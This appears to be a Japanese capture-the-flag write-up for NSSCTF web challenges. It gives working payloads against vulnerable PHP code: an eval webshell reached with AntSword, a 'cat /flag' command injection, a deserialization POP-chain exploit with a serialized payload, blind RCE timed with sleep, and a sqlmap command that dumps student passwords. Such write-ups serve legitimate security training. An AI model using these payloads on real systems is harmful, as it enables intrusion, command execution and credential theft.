水水コンペ
課題はhttps://www.nssctf.cn/index で検索できます
colorful_snake#
右クリックして js ソースコードを表示し、unicode をデコードします
NSS_HTTP_CHEKER#
cookie editor
で cookie を設定
X-Forwarded-For: 127.0.0.1
User-Agent
でブラウザを設定
ワンクリック接続!#
- 弱比較
- 擬似プロトコル
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "おめでとう~~~~~~~~~";
echo "need Antswordを試してみて<br/>";
@eval($_POST['Nss']);
}else{
echo "dataプロトコルを聞いたことがありますか?";
}
} else {
echo "sha1はどうして等しいのか";
}
} else {
echo "md5値をどうやって等しくするのか¿";
}
http://node6.anna.nssctf.cn:28155/?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data:text/plain,Welcome to NSSCTF!!!
問題のヒントは、AntSword 接続、上記のアドレスに接続、パスワードNss
Pingpingping#
問題の説明
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){ system("ping -c 3 ".$_ping);
}else{ $data = base64_encode(file_get_contents("error.png"));
echo "<img src='data:image/png;base64,$data'/>";
}
_
を[
に置き換えてパラメータを渡します
http://node6.anna.nssctf.cn:28042/?Ping[ip.exe=127.0.0.1;cat+/flag
参考:https://blog.csdn.net/mochu7777777/article/details/115050295
ez_talk#
ファイルヘッダーを追加し、webshell の大文字回避
UnS3rialize#
問題の説明
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "おめでとうございます!!!POPチェーンを構築する方法を学びました<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "何が欲しいですか?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "今、__toStringの使い方を知っています<br/>トリガーする方法は一つではありません";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "今、__constructの使い方を知っています<br/>";
echo "あなたのノート".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "デシリアライズをやってみましょう :)";
}
デシリアライズをやってみましょう :)
php の反序列化の問題、exp は以下の通り:
<?php
class NSS
{
public $cmd;
function __invoke()
{
echo "おめでとうございます!!!POPチェーンを構築する方法を学びました<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "何が欲しいですか?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "今、__toStringの使い方を知っています<br/>トリガーする方法は一つではありません";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "今、__constructの使い方を知っています<br/>";
echo "あなたのノート".$this->notes;
}else{
die("N0!");
}
}
}
$nss = new NSS();
$nss->cmd = "cat /flag";
$c = new C();
$c->whoami = $nss;
$t = new T();
$t->sth = $c;
$f = new F("SWPU","NSS");
$f->notes = $t;
echo serialize($f);
?>
http://node6.anna.nssctf.cn:28314/?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6Mjp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX19
RCE plus#
問題の説明
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("これが嫌い");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
テストのエコー、遅延 5 秒、エコーなし RCE
?cmd=ls / | sleep 5
dnslog を利用して flag を受信
backup#
バックアップファイル www.zip をダウンロード
ソースコードは以下の通り:
<?php
error_reporting(0);
require_once("flag.php");
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='どこに行くか教えて';
$this->molly='教えない';
$this->dimoo="あなたは推測できる";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙橋"){
extract($_POST);
if($pucky==="二仙橋"){
die("<script>window.alert('どこに行くつもりですか??');</script>");
}
unserialize($pucky);
}
}
変数の上書き
查查 need#
問題の説明
直接 sqlmap を使って一発で
sqlmap -r sql.txt -D school -T students -C name,password,student_id,grade --dump --batch